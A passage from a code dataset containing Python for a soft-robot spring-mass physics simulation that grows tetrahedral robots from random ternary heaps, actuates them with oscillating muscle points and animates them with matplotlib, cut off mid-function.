)\n)\n\nHTMLFile(home_page).export('blabla.html')","repo_name":"yunisdev/reptify","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"17351962510","text":"import random\r\nimport math\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.animation as animation\r\nimport numpy as np\r\nimport csv\r\nimport time\r\nimport datetime\r\nfrom multiprocessing.pool import Pool\r\nimport os, psutil\r\n\r\nT = 0\r\ndt = 0.0005\r\nunit_mass = 1.0\r\nk_wall = 10000 # Spring constant of floor / ceiling\r\nk_robot = 10000 # spring constant of robot\r\nu_frict_s = 1 # Coefficient of friction (static)\r\nu_frict_k = 0.8 # Coefficient of friction (kinetic)\r\nmax_robot_size = 50\r\nmax_tree_depth = 3\r\n\r\n\r\nfig = plt.figure()\r\nax1 = fig.add_subplot(111, projection='3d')\r\nax1.set_xlabel('x')\r\nax1.set_ylabel('y')\r\nax1.set_zlabel('z')\r\n\r\n# Change these parameters to alter size of grid\r\nXfloor = -10\r\nXroof = 10\r\nYfloor = -10\r\nYroof = 10\r\nZfloor = 0\r\nZroof = 10\r\n\r\nX1 = np.arange(Xfloor,Xroof+1,1)\r\nY1 = np.arange(Yfloor,Yroof+1,1)\r\nX1, Y1 = np.meshgrid(X1, Y1)\r\nZ1 = (X1+Y1)*0\r\n\r\nX2 = np.arange(Xfloor,Xroof+1,1)\r\nZ2 = np.arange(Zfloor,Zroof+1,1)\r\nX2, Z2 = np.meshgrid(X2, Z2)\r\nY2 = (X2+Z2)*0\r\n\r\nY3 = np.arange(Yfloor,Yroof+1,1)\r\nZ3 = np.arange(Zfloor,Zroof+1,1)\r\nY3, Z3 = np.meshgrid(Y3, Z3)\r\nX3 = (Y3+Z3)*0\r\n\r\nax1.plot_surface(X1, Y1, Z1, color='gray', alpha=0.3)\r\n#ax1.plot_surface(X2, Y2, Z2, color='gray', alpha=0.3)\r\n#ax1.plot_surface(X3, Y3, Z3, color='gray', alpha=0.3)\r\n\r\nax1.set_xlim(Xfloor, Xroof)\r\nax1.set_ylim(Yfloor, Yroof)\r\nax1.set_zlim(Zfloor, Zroof)\r\n\r\nline0, = ax1.plot3D([],[],[], 'b-')\r\n\r\n#shadow, = ax1.plot3D([],[],[], color = '0.3')\r\n#ax1.scatter3D([],[],[])\r\n\r\n\r\nclass Mass:\r\n def __init__(self, mass, posX, posY, posZ, velX, velY, velZ, accX, accY, accZ):\r\n self.mass = mass\r\n self.posX = posX\r\n self.posY = posY\r\n self.posZ = posZ\r\n self.velX = velX\r\n self.velY = velY\r\n self.velZ = velZ\r\n self.accX = accX\r\n self.accY = accY\r\n self.accZ = accZ\r\n\r\n def __str__(self):\r\n return f\"mass({self.mass}), \" \\\r\n f\"pos({self.posX},{self.posY},{self.posZ}), \" \\\r\n f\"vel({self.velX},{self.velY},{self.velZ}), \" \\\r\n f\"acc({self.accX},{self.accY},{self.accZ}) \"\r\n\r\nclass Spring:\r\n def __init__(self, k, rLength, m1, m2):\r\n self.k = k\r\n self.rLength = rLength\r\n self.rLength_a = rLength\r\n self.m1 = m1\r\n self.m2 = m2\r\n\r\n def __str__(self):\r\n return f\"k({self.k}), Rest Length({self.rLength}), m1({self.m1}), m2({self.m2})\"\r\n\r\nclass MusclePoint:\r\n def __init__(self, m, b, w, c):\r\n self.m = m\r\n self.b = b\r\n self.w = w\r\n self.c = c\r\n\r\n def __str__(self):\r\n return f\"massPoint({self.m}), Amplitude({self.b}), rate({self.w}), phase({self.c})\"\r\n\r\nclass Cube:\r\n def __init__(self, origin, length, k):\r\n self.origin = origin\r\n self.length = length\r\n self.k = k\r\n self.masses, self.springs, self.faces = createStaticCube(self)\r\n\r\n def __str__(self):\r\n return f\"origin({self.origin}), Side Length({self.length}), k({self.k}, masses({len(self.masses)}), \" \\\r\n f\"springs({len(self.springs)})\"\r\n\r\nclass Tetra:\r\n def __init__(self, origin, length, k):\r\n self.origin = origin\r\n self.length = length\r\n self.k = k\r\n self.masses, self.springs = createStaticTetra(self)\r\n\r\n def __str__(self):\r\n return f\"origin({self.origin}), Side Length({self.length}), k({self.k}, masses({len(self.masses)}), \" \\\r\n f\"springs({len(self.springs)})\"\r\n\r\nclass OriginTetra:\r\n def __init__(self):\r\n self.origin = [0, 0, 0]\r\n self.length = 1\r\n self.k = k_robot\r\n self.masses, self.springs, self.faces = createOriginTetra(self)\r\n\r\n def __str__(self):\r\n return f\"origin({self.origin}), Side Length({self.length}), k({self.k}, masses({len(self.masses)}), \" \\\r\n f\"springs({len(self.springs)})\"\r\n\r\nclass OriginCube:\r\n def __init__(self):\r\n self.origin = [0,0,0]\r\n self.length = 1\r\n self.k = k_robot\r\n self.masses, self.springs, self.faces = createOriginCube(self)\r\n\r\n def __str__(self):\r\n return f\"origin({self.origin}), Side Length({self.length}), k({self.k}, masses({len(self.masses)}), \" \\\r\n f\"springs({len(self.springs)})\"\r\n\r\nclass CubeStructure:\r\n def __init__(self, origin, length, k, form):\r\n self.origin = origin\r\n self.length = length\r\n self.k = k\r\n self.form = form\r\n self.masses, self.springs, self.faces = createStaticCubeStructure(self)\r\n\r\n def __str__(self):\r\n return f\"origin({self.origin}), Side Length({self.length}), k({self.k}, masses({len(self.masses)}), \" \\\r\n f\"springs({len(self.springs)}), form({self.form})\"\r\n\r\nclass Robot:\r\n def __init__(self):\r\n self.heap = generateRandomTernaryHeap()\r\n self.masses, self.springs, self.musclePoints, self.heap = generateNewTetraRobot()\r\n\r\n def __str__(self):\r\n return f\"masses({self.masses}), springs({springs}), musclePoints({self.musclePoints}), heap({heap})\"\r\n\r\n\r\ndef generateRobotFromHeapNumpy(heap):\r\n if idx == 1:\r\n m_np = np.full()\r\n\r\ndef generateNewTetraRobot(heap, masses = [], springs = [], faces = [], idx = 1, musclePoints = []):\r\n # Generate a robot structure from ternary heap (pre Muscle addition)\r\n\r\n if idx == 1:\r\n masses = []\r\n springs = []\r\n originTetra = OriginTetra()\r\n for mass in originTetra.masses:\r\n masses.append(mass)\r\n for spring in originTetra.springs:\r\n springs.append(spring)\r\n faces = originTetra.faces\r\n\r\n # Build a new Tetra structure off of face 0\r\n if int(heap[idx-1][0]) == 1:\r\n tri_center = [(faces[0][0].posX+faces[0][1].posX+faces[0][2].posX)/3,\r\n (faces[0][0].posY+faces[0][1].posY+faces[0][2].posY)/3,\r\n (faces[0][0].posZ+faces[0][1].posZ+faces[0][2].posZ)/3]\r\n h = math.sqrt(2/3) * 2 # Assumes height of 1\r\n a = (faces[0][0].posX - faces[0][1].posX, faces[0][0].posY - faces[0][1].posY,\r\n faces[0][0].posZ - faces[0][1].posZ)\r\n b = (faces[0][0].posX - faces[0][2].posX, faces[0][0].posY - faces[0][2].posY,\r\n faces[0][0].posZ - faces[0][2].posZ)\r\n c = (1/np.linalg.norm(np.cross(a, b)))*np.cross(a, b)\r\n newX = tri_center[0] - h*c[0]\r\n newY = tri_center[1] - h*c[1]\r\n newZ = tri_center[2] - h * c[2]\r\n overlap_flag = False # Check if mass is overlapping\r\n err = 0.5\r\n for mass in masses:\r\n if newX + err >= mass.posX >= newX - err \\\r\n and newY + err >= mass.posY >= newY - err \\\r\n and newZ + err >= mass.posZ >= newZ - err:\r\n overlap_flag = True\r\n repeatMass = mass\r\n if not overlap_flag:\r\n m = Mass(unit_mass, tri_center[0] - h*c[0], tri_center[1] - h*c[1], tri_center[2] - h*c[2], 0, 0, 0, 0, 0, 0)\r\n masses.append(m)\r\n springs.append(Spring(k=k_robot, rLength=calcMassDist(m, faces[0][0]), m1=faces[0][0], m2=m))\r\n springs.append(Spring(k=k_robot, rLength=calcMassDist(m, faces[0][1]), m1=faces[0][1], m2=m))\r\n springs.append(Spring(k=k_robot, rLength=calcMassDist(m, faces[0][2]), m1=faces[0][2], m2=m))\r\n else:\r\n m = repeatMass\r\n springFlag1 = False\r\n springFlag2 = False\r\n springFlag3 = False\r\n for spring in springs:\r\n if {spring.m1, spring.m2} == {faces[0][0], m}:\r\n springFlag1 = True\r\n if {spring.m1, spring.m2} == {faces[0][1], m}:\r\n springFlag2 = True\r\n if {spring.m1, spring.m2} == {faces[0][2], m}:\r\n springFlag3 = True\r\n if not springFlag1:\r\n springs.append(Spring(k=k_robot, rLength=calcMassDist(m, faces[0][0]), m1=faces[0][0], m2=m))\r\n if not springFlag2:\r\n springs.append(Spring(k=k_robot, rLength=calcMassDist(m, faces[0][1]), m1=faces[0][1], m2=m))\r\n if not springFlag3:\r\n springs.append(Spring(k=k_robot, rLength=calcMassDist(m, faces[0][2]), m1=faces[0][2], m2=m))\r\n faces_new = [[faces[0][1], faces[0][2], m], [faces[0][0], faces[0][2], m], [faces[0][0], faces[0][1], m]]\r\n if getChild1Idx(idx) <= len(heap):\r\n results = generateNewTetraRobot(heap=heap, masses=masses, springs=springs, faces=faces_new, idx=getChild1Idx(idx), musclePoints=musclePoints)\r\n\r\n # Build a new Tetra structure off of face 1\r\n if int(heap[idx-1][1]) == 1:\r\n tri_center = [(faces[1][0].posX+faces[1][1].posX+faces[1][2].posX)/3,\r\n (faces[1][0].posY+faces[1][1].posY+faces[1][2].posY)/3,\r\n (faces[1][0].posZ+faces[1][1].posZ+faces[1][2].posZ)/3]\r\n h = math.sqrt(2/3) * 2 # Assumes height of 1\r\n a = (faces[1][0].posX - faces[1][1].posX, faces[1][0].posY - faces[1][1].posY,\r\n faces[1][0].posZ - faces[1][1].posZ)\r\n b = (faces[1][0].posX - faces[1][2].posX, faces[1][0].posY - faces[1][2].posY,\r\n faces[1][0].posZ - faces[1][2].posZ)\r\n c = (1/np.linalg.norm(np.cross(a, b)))*np.cross(a, b)\r\n newX = tri_center[0] + h * c[0]\r\n newY = tri_center[1] + h * c[1]\r\n newZ = tri_center[2] + h * c[2]\r\n overlap_flag = False # Check if mass is overlapping\r\n err = 0.5\r\n for mass in masses:\r\n if newX + err >= mass.posX >= newX - err \\\r\n and newY + err >= mass.posY >= newY - err \\\r\n and newZ + err >= mass.posZ >= newZ - err:\r\n overlap_flag = True\r\n repeatMass = mass\r\n if not overlap_flag:\r\n m = Mass(unit_mass, tri_center[0] + h*c[0], tri_center[1] + h*c[1], tri_center[2] + h*c[2], 0, 0, 0, 0, 0, 0)\r\n masses.append(m)\r\n springs.append(Spring(k=k_robot, rLength=calcMassDist(m, faces[1][0]), m1=faces[1][0], m2=m))\r\n springs.append(Spring(k=k_robot, rLength=calcMassDist(m, faces[1][1]), m1=faces[1][1], m2=m))\r\n springs.append(Spring(k=k_robot, rLength=calcMassDist(m, faces[1][2]), m1=faces[1][2], m2=m))\r\n else:\r\n m = repeatMass\r\n springFlag1 = False\r\n springFlag2 = False\r\n springFlag3 = False\r\n for spring in springs:\r\n if {spring.m1, spring.m2} == {faces[1][0], m}:\r\n springFlag1 = True\r\n if {spring.m1, spring.m2} == {faces[1][1], m}:\r\n springFlag2 = True\r\n if {spring.m1, spring.m2} == {faces[1][2], m}:\r\n springFlag3 = True\r\n if not springFlag1:\r\n springs.append(Spring(k=k_robot, rLength=calcMassDist(m, faces[1][0]), m1=faces[1][0], m2=m))\r\n if not springFlag2:\r\n springs.append(Spring(k=k_robot, rLength=calcMassDist(m, faces[1][1]), m1=faces[1][1], m2=m))\r\n if not springFlag3:\r\n springs.append(Spring(k=k_robot, rLength=calcMassDist(m, faces[1][2]), m1=faces[1][2], m2=m))\r\n faces_new = [[faces[1][1], faces[1][2], m], [faces[1][0], faces[1][2], m], [faces[1][0], faces[1][1], m]]\r\n if getChild2Idx(idx) <= len(heap):\r\n results = generateNewTetraRobot(heap=heap, masses=masses, springs=springs,\r\n faces=faces_new, idx=getChild2Idx(idx), musclePoints=musclePoints)\r\n\r\n # Build a new Tetra structure off of face 0\r\n if int(heap[idx-1][2]) == 1:\r\n tri_center = [(faces[2][0].posX+faces[2][1].posX+faces[2][2].posX)/3,\r\n (faces[2][0].posY+faces[2][1].posY+faces[2][2].posY)/3,\r\n (faces[2][0].posZ+faces[2][1].posZ+faces[2][2].posZ)/3]\r\n h = math.sqrt(2/3) * 2 # Assumes height of 1\r\n a = (faces[2][0].posX - faces[2][1].posX, faces[2][0].posY - faces[2][1].posY,\r\n faces[2][0].posZ - faces[2][1].posZ)\r\n b = (faces[2][0].posX - faces[2][2].posX, faces[2][0].posY - faces[2][2].posY,\r\n faces[2][0].posZ - faces[2][2].posZ)\r\n c = (1/np.linalg.norm(np.cross(a, b)))*np.cross(a, b)\r\n newX = tri_center[0] - h * c[0]\r\n newY = tri_center[1] - h * c[1]\r\n newZ = tri_center[2] - h * c[2]\r\n overlap_flag = False # Check if mass is overlapping\r\n err = 0.5\r\n for mass in masses:\r\n if newX + err >= mass.posX >= newX - err \\\r\n and newY + err >= mass.posY >= newY - err \\\r\n and newZ + err >= mass.posZ >= newZ - err:\r\n overlap_flag = True\r\n repeatMass = mass\r\n if not overlap_flag:\r\n m = Mass(unit_mass, tri_center[0] - h*c[0], tri_center[1] - h*c[1], tri_center[2] - h*c[2], 0, 0, 0, 0, 0, 0)\r\n masses.append(m)\r\n springs.append(Spring(k=k_robot, rLength=calcMassDist(m, faces[2][0]), m1=faces[2][0], m2=m))\r\n springs.append(Spring(k=k_robot, rLength=calcMassDist(m, faces[2][1]), m1=faces[2][1], m2=m))\r\n springs.append(Spring(k=k_robot, rLength=calcMassDist(m, faces[2][2]), m1=faces[2][2], m2=m))\r\n else:\r\n m = repeatMass\r\n springFlag1 = False\r\n springFlag2 = False\r\n springFlag3 = False\r\n for spring in springs:\r\n if {spring.m1, spring.m2} == {faces[2][0], m}:\r\n springFlag1 = True\r\n if {spring.m1, spring.m2} == {faces[2][1], m}:\r\n springFlag2 = True\r\n if {spring.m1, spring.m2} == {faces[2][2], m}:\r\n springFlag3 = True\r\n if not springFlag1:\r\n springs.append(Spring(k=k_robot, rLength=calcMassDist(m, faces[2][0]), m1=faces[2][0], m2=m))\r\n if not springFlag2:\r\n springs.append(Spring(k=k_robot, rLength=calcMassDist(m, faces[2][1]), m1=faces[2][1], m2=m))\r\n if not springFlag3:\r\n springs.append(Spring(k=k_robot, rLength=calcMassDist(m, faces[2][2]), m1=faces[2][2], m2=m))\r\n faces_new = [[faces[2][1], faces[2][2], m], [faces[2][0], faces[2][2], m], [faces[2][0], faces[2][1], m]]\r\n if getChild3Idx(idx) <= len(heap):\r\n results = generateNewTetraRobot(heap=heap, masses=masses, springs=springs, faces=faces_new, idx=getChild3Idx(idx), musclePoints=musclePoints)\r\n\r\n while int(heap[-1][0]) == -1:\r\n heap = np.delete(heap, -1, 0)\r\n\r\n # Assign Muscle Points\r\n if float(heap[idx - 1][3]) != 0.0:\r\n musclePoints.append(MusclePoint(m=faces[0][2], b=heap[idx - 1][3], w=heap[idx - 1][4], c=heap[idx - 1][5]))\r\n\r\n results = [masses, springs, musclePoints]\r\n return results\r\n\r\ndef generateRandomTernaryHeap():\r\n # Build robot from genetic string heap\r\n # Fill an array with None types\r\n #heap = [None] * ((pow(3, max_tree_depth) - 1))\r\n heap = np.full((int((pow(3, max_tree_depth+1) - 1)/2), 6), -1.0)\r\n #print(heap)\r\n\r\n # Data structure: [[faces to branch off], [muscle point params], [tissue type]]\r\n # faces to branch: 0 (no) or 1 (yes)\r\n # Muscle Points: [0]: 0 (no point) or 1 (yes point), [1-3]: b, w, c\r\n heap[0] = np.array([random.randint(0, 1), random.randint(0, 1), random.randint(0, 1),\r\n 0, 0, 0])\r\n while heap[0][0] == 0.0 and heap[0][1] == 0.0 and heap[0][2] == 0.0:\r\n heap[0] = np.array([random.randint(0, 1), random.randint(0, 1), random.randint(0, 1),\r\n 0, 0, 0])\r\n\r\n j = 1\r\n while j <= int((pow(3, max_tree_depth) - 1)/2):\r\n if heap[j-1][0] != -1 and j <= int((pow(3, max_tree_depth-1) - 1)/2):\r\n if heap[j-1][0]:\r\n heap[getChild1Idx(j)-1] = np.array([random.randint(0, 1), random.randint(0, 1), random.randint(0, 1),\r\n 0, 0, 0])\r\n if heap[j-1][1]:\r\n heap[getChild2Idx(j)-1] = np.array([random.randint(0, 1), random.randint(0, 1), random.randint(0, 1),\r\n 0, 0, 0])\r\n if heap[j-1][2]:\r\n heap[getChild3Idx(j)-1] = np.array([random.randint(0, 1), random.randint(0, 1), random.randint(0, 1),\r\n 0, 0, 0])\r\n elif heap[j-1][0] != -1 and j > int((pow(3, max_tree_depth-1) - 1)/2):\r\n if heap[j-1][0]:\r\n heap[getChild1Idx(j)-1] = np.array([0, 0, 0, 0, 0, 0])\r\n if heap[j-1][1]:\r\n heap[getChild2Idx(j)-1] = np.array([0, 0, 0, 0, 0, 0])\r\n if heap[j-1][2]:\r\n heap[getChild3Idx(j)-1] = np.array([0, 0, 0, 0, 0, 0])\r\n j += 1\r\n\r\n while int(heap[-1][0]) == -1:\r\n heap = np.delete(heap, -1, 0)\r\n\r\n # Assign Muscle Points\r\n depth = math.floor((math.log(2*len(heap)+1)/math.log(3))-1)\r\n #numMusclePoints = random.randint(1, depth)\r\n numMusclePoints = depth\r\n mp_idx = []\r\n for i in range(numMusclePoints):\r\n if i==0:\r\n val = random.randint(0,len(heap)-1)\r\n while heap[val][0] == -1:\r\n val = random.randint(0, len(heap) - 1)\r\n mp_idx.append(val)\r\n else:\r\n val = random.randint(0, len(heap)-1)\r\n while val in mp_idx or heap[val][0] == -1:\r\n val = random.randint(0, len(heap)-1)\r\n mp_idx.append(val)\r\n for i in range(len(mp_idx)):\r\n b = random.uniform(0.05, 0.15)\r\n w = random.uniform(8, 15)\r\n c = random.uniform(-1 * math.pi, math.pi)\r\n\r\n heap[mp_idx[i]][3] = b\r\n heap[mp_idx[i]][4] = w\r\n heap[mp_idx[i]][5] = c\r\n\r\n\r\n return heap\r\n\r\n\r\ndef record_state(masses, springs):\r\n X = []\r\n Y = []\r\n Z = []\r\n L = []\r\n for mass in masses:\r\n X.append(mass.posX)\r\n Y.append(mass.posY)\r\n Z.append(mass.posZ)\r\n for spring in springs:\r\n L.append(spring.rLength)\r\n\r\n return [X, Y, Z, L]\r\n\r\ndef reset_state(masses, springs, start_state):\r\n i = 0\r\n for mass in masses:\r\n mass.posX = start_state[0][i]\r\n mass.posY = start_state[1][i]\r\n mass.posZ = start_state[2][i]\r\n mass.velX = 0\r\n mass.velY = 0\r\n mass.velZ = 0\r\n mass.accX = 0\r\n mass.accY = 0\r\n mass.accZ = 0\r\n i+=1\r\n i = 0\r\n for spring in springs:\r\n spring.rLength = start_state[3][i]\r\n i+=1\r\n return 0\r\n\r\n\r\ndef getParentIdx(index):\r\n # return index of parent from child index\r\n # This is assuming a ternary tree\r\n result = math.floor((index+1)/3)\r\n return result\r\n\r\ndef getChild1Idx(index):\r\n # return index of left child from parent index\r\n result = (3*index)-1\r\n return result\r\n\r\n\r\ndef getChild2Idx(index):\r\n # return index of left child from parent index\r\n result = (3*index)\r\n return result\r\n\r\ndef getChild3Idx(index):\r\n # return index of left child from parent index\r\n result = (3*index)+1\r\n return result\r\n\r\n\r\ndef createOriginTetra(self):\r\n # Create origin Tetra of length 1\r\n masses = []\r\n springs = []\r\n faces = []\r\n\r\n masses = [\r\n Mass(unit_mass, 1, 0, (-1 / math.sqrt(2)), 0, 0, 0, 0, 0, 0),\r\n Mass(unit_mass, -1, 0, (-1 / math.sqrt(2)), 0, 0, 0, 0, 0, 0),\r\n Mass(unit_mass, 0, 1, (1 / math.sqrt(2)), 0, 0, 0, 0, 0, 0),\r\n Mass(unit_mass, 0, -1, (1 / math.sqrt(2)), 0, 0, 0, 0, 0, 0)]\r\n\r\n for i in range(0, len(masses)):\r\n j = i + 1\r\n while j < len(masses):\r\n springs.append(Spring(k=self.k, rLength=calcMassDist(masses[i], masses[j]),\r\n m1=masses[i], m2=masses[j]))\r\n j += 1\r\n\r\n faces = [[masses[1], masses[2], masses[3]],\r\n [masses[0], masses[2], masses[3]],\r\n [masses[0], masses[1], masses[3]]]\r\n\r\n return [masses, springs, faces]\r\n\r\ndef createStaticTetra(self):\r\n massList = []\r\n springList = []\r\n\r\n massList = [\r\n Mass(unit_mass, self.origin[0] + self.length, self.origin[1],\r\n self.origin[2]+ (self.length*(-1/math.sqrt(2))), 0, 0, 0, 0, 0, 0),\r\n Mass(unit_mass, self.origin[0] + (self.length*-1), self.origin[1],\r\n self.origin[2] + (self.length * (-1 / math.sqrt(2))), 0, 0, 0, 0, 0, 0),\r\n Mass(unit_mass, self.origin[0], self.origin[1] + self.length,\r\n self.origin[2] + (self.length*(1/math.sqrt(2))), 0, 0, 0, 0, 0, 0),\r\n Mass(unit_mass, self.origin[0], self.origin[1] + (self.length*-1),\r\n self.origin[2] + (self.length * (1 / math.sqrt(2))), 0, 0, 0, 0, 0, 0)\r\n ]\r\n\r\n for i in range(0, len(massList)):\r\n j = i + 1\r\n while j < len(massList):\r\n springList.append(Spring(k=self.k, rLength=calcMassDist(massList[i], massList[j]),\r\n m1=massList[i], m2=massList[j]))\r\n j += 1\r\n\r\n return [massList, springList]\r\n\r\n\r\ndef calcMassDist(m1,m2):\r\n # Returns total distance (abs value) between two masses\r\n # Parameters:\r\n # m1: First Mass object\r\n # m2: Second Mass object\r\n\r\n return math.sqrt(pow(m1.posX-m2.posX,2)+pow(m1.posY-m2.posY,2)+pow(m1.posZ-m2.posZ,2))\r\n\r\n\r\ndef init():\r\n line0.set_data([], [])\r\n line0.set_3d_properties([])\r\n return line0,\r\n\r\ndef animate(i, line, massList, springList, musclePoints=[]):\r\n # Animate simulation for given masses\r\n X = []\r\n Y = []\r\n Z = []\r\n\r\n for i in range(0,100):\r\n applyForces(massList, springList, musclePoints)\r\n updateVelocities(massList)\r\n updatePositions(massList)\r\n\r\n\r\n\r\n # Create X,Y,Z for each spring/mass\r\n for spring in springList:\r\n X.append(spring.m1.posX)\r\n X.append(spring.m2.posX)\r\n Y.append(spring.m1.posY)\r\n Y.append(spring.m2.posY)\r\n Z.append(spring.m1.posZ)\r\n Z.append(spring.m2.posZ)\r\n\r\n\r\n line0.set_data(X, Y)\r\n line0.set_3d_properties(Z)\r\n\r\n return line0,\r\n\r\n\r\ndef execute_sim(args):\r\n iterations = args[0]\r\n heap = args[1]\r\n masses, springs, musclePoints = generateNewTetraRobot(heap)\r\n gravity_a = [0, 0, -9.81]\r\n global T\r\n T=0\r\n\r\n # Bring robot to floor\r\n min_z = float('inf')\r\n for mass in masses:\r\n if mass.posZ < min_z:\r\n min_z = mass.posZ\r\n for mass in masses:\r\n mass.posZ -= min_z\r\n x_sum = 0\r\n y_sum = 0\r\n for mass in masses:\r\n x_sum += mass.posX\r\n y_sum += mass.posY\r\n starting_x = x_sum/len(masses)\r\n starting_y = y_sum/len(masses)\r\n try:\r\n # Execute simulation\r\n for i in range(0, iterations):\r\n applyForces(masses, springs, musclePoints)\r\n updateVelocities(masses)\r\n updatePositions(masses)\r\n\r\n # Detect if model is unstable\r\n threshold = 15000\r\n if i%100 == 0:\r\n for mass in masses:\r\n if abs(mass.accX) > threshold or abs(mass.accY) > threshold or abs(mass.accZ) > threshold:\r\n print('Model is unstable!')\r\n return 0\r\n except:\r\n return 0\r\n\r\n x_sum_final = 0\r\n y_sum_final = 0\r\n for mass in masses:\r\n x_sum_final += mass.posX\r\n y_sum_final += mass.posY\r\n ending_x = x_sum_final / len(masses)\r\n ending_y = y_sum_final / len(masses)\r\n speed_final = math.sqrt(pow(ending_x-starting_x, 2) + pow(ending_y-starting_y, 2))/(dt*iterations)\r\n del masses\r\n del springs\r\n del musclePoints\r\n\r\n return speed_final\r\n\r\ndef physics_cupy(args):\r\n # Physics sim using cp/np arrays\r\n iterations = args[0]\r\n heap = args[1]\r\n massList, springList, musclePoints = generateNewTetraRobot(heap)\r\n gravity_a = [0, 0, -9.81]\r\n global T\r\n T = 0\r\n time_st = time.time()\r\n\r\n # Initialize mass np array\r\n m_np = np.array([[massList[0].posX, massList[0].posY, massList[0].posZ, massList[0].velX,\r\n massList[0].velY, massList[0].velZ, massList[0].accX, massList[0].accY, massList[0].accZ]])\r\n\r\n for j in range(1, len(massList)):\r\n m_np = np.concatenate((m_np, [[massList[j].posX, massList[j].posY, massList[j].posZ, massList[j].velX,\r\n massList[j].velY, massList[j].velZ, massList[j].accX, massList[j].accY,\r\n massList[j].accZ]]), axis=0)\r\n\r\n # Initialize spring np array\r\n m1_idx = -1\r\n m2_idx = -1\r\n for m in range(0, len(massList)):\r\n if springList[0].m1 == massList[m]:\r\n m1_idx = m\r\n elif springList[0].m2 == massList[m]:\r\n m2_idx = m\r\n if m1_idx == -1 or m2_idx == -1:\r\n print('Error finding mass index')\r\n exit()\r\n s_np = np.array([[springList[0].rLength, springList[0].rLength_a, m1_idx, m2_idx,\r\n massList[0].posX-massList[1].posX,\r\n massList[0].posY-massList[1].posY,\r\n massList[0].posZ-massList[1].posZ]])\r\n for j in range(1, len(springList)):\r\n m1_idx = -1\r\n m2_idx = -1\r\n for m in range(0, len(massList)):\r\n if springList[j].m1 == massList[m]:\r\n m1_idx = m\r\n elif springList[j].m2 == massList[m]:\r\n m2_idx = m\r\n if m1_idx == -1 or m2_idx == -1:\r\n print('Error finding mass index')\r\n exit()\r\n # [rLength, rLength_a, m1 index, m2 index, Lx, Ly, Lz]\r\n s_np = np.concatenate((s_np, [[springList[j].rLength, springList[j].rLength_a, m1_idx, m2_idx,\r\n massList[m1_idx].posX-massList[m2_idx].posX,\r\n massList[m1_idx].posY-massList[m2_idx].posY,\r\n massList[m1_idx].posZ-massList[m2_idx].posZ]]), axis=0)\r\n\r\n # Create numpy list of musclePoints\r\n if musclePoints != []:\r\n m_idx = -1\r\n for m in range(0, len(massList)):\r\n if musclePoints[0].m == massList[m]:\r\n m_idx = m\r\n if m_idx == -1:\r\n print('Error finding mass index')\r\n exit()\r\n mp_np = np.array([[musclePoints[0].b, musclePoints[0].w, musclePoints[0].c, m_idx]])\r\n for j in range(1, len(musclePoints)):\r\n m_idx = -1\r\n for m in range(0, len(massList)):\r\n if musclePoints[j].m == massList[m]:\r\n m_idx = m\r\n if m_idx == -1:\r\n print('Error finding mass index')\r\n exit()\r\n mp_np = np.concatenate((mp_np, [[musclePoints[j].b, musclePoints[j].w, musclePoints[j].c, m_idx]]))\r\n\r\n # Define mapping matrix for springs to masses\r\n s2m = np.zeros(shape=(len(massList), len(springList))) # Force mapping function\r\n s2m_ap = np.zeros(shape=(len(springList), len(massList))) # average spring position\r\n for i in range(0, len(springList)):\r\n s2m[int(s_np[i, 2])][i] = 1\r\n s2m[int(s_np[i, 3])][i] = -1\r\n s2m_ap[i][int(s_np[i, 2])] = 0.5\r\n s2m_ap[i][int(s_np[i, 3])] = 0.5\r\n\r\n # Define mapping matrix for masses to springs (transpose of s2m)\r\n m2s = s2m.transpose()\r\n\r\n # Define mapping matrix for musclepoints to mass positions\r\n m2mp = np.zeros(shape=(len(musclePoints), len(massList)))\r\n for i in range(0, len(musclePoints)):\r\n m2mp[i][int(mp_np[i, 3])] = 1\r\n\r\n y_sum = np.sum(m_np[:, 1])\r\n x_sum = np.sum(m_np[:, 0])\r\n starting_x = x_sum / len(massList)\r\n starting_y = y_sum / len(massList)\r\n\r\n np.seterr(invalid='ignore')\r\n for i in range(iterations):\r\n # Zero out acceleration\r\n m_np[:, 6:9] *= 0\r\n\r\n # Add gravity constant\r\n m_np[:, 6] += gravity_a[0]\r\n m_np[:, 7] += gravity_a[1]\r\n m_np[:, 8] += gravity_a[2]\r\n\r\n # Update spring Lengths\r\n s_np[:, 4:7] = np.matmul(m2s, m_np[:, 0:3])\r\n\r\n # Apply muscle Actuation\r\n mp_mpos = np.matmul(m2mp, m_np[:, 0:3])\r\n s_pos_avg = np.matmul(s2m_ap, m_np[:, 0:3])\r\n muscleSum = np.zeros(len(springList))\r\n if len(musclePoints) != 0:\r\n for k in range(0, len(musclePoints)):\r\n mp_mpos_rs = np.resize(mp_mpos[k], (len(springList), 3))\r\n dist_r = np.reciprocal(\r\n np.sqrt(np.square(s_pos_avg[:, 0] - mp_mpos_rs[:, 0]) + np.square(s_pos_avg[:, 1] - mp_mpos_rs[:, 1]) +\r\n np.square(s_pos_avg[:, 2] - mp_mpos_rs[:, 2])))\r\n\r\n sin_np = np.multiply(mp_np[k, 0], np.sin(T*mp_np[k, 1] + mp_np[k, 2]))\r\n mp_fact = np.multiply(s_np[:, 1], sin_np*dist_r)\r\n muscleSum += mp_fact\r\n s_np[:, 0] = s_np[:, 1] + muscleSum\r\n\r\n\r\n # Add spring forces\r\n # F = k * (rLength - Length)\r\n L = np.sqrt(np.add(np.add(np.square(s_np[:, 4]), np.square(s_np[:, 5])), np.square(s_np[:, 6])))\r\n Fs = k_robot*np.subtract(s_np[:, 0], L)\r\n Fs_3 = np.array([Fs, Fs, Fs]).transpose()\r\n L_3 = np.array([np.reciprocal(L),np.reciprocal(L),np.reciprocal(L)]).transpose()\r\n Fs_n = np.multiply(np.multiply(L_3, s_np[:, 4:7]), Fs_3)\r\n m_np[:, 6:9] = np.add(m_np[:, 6:9], np.matmul(s2m, Fs_n))\r\n\r\n # Apply normal forces and friction\r\n Fnorm = np.where(m_np[:, 2] < 0, abs(k_wall*m_np[:, 2]), 0)\r\n m_np[:, 8] = m_np[:, 8] + Fnorm\r\n F_h = np.sqrt(np.square(m_np[:, 6]) + np.square(m_np[:, 7]))\r\n F_hn = np.subtract(F_h, u_frict_k * Fnorm)\r\n x_r = np.where(F_h != 0.0, np.divide(m_np[:, 6], F_h), 0)\r\n y_r = np.where(F_h != 0.0, np.divide(m_np[:, 7], F_h), 0)\r\n m_np[:, 6] = np.where(m_np[:, 2] < 0, np.where(F_h < u_frict_s * Fnorm, 0, np.multiply(F_hn, 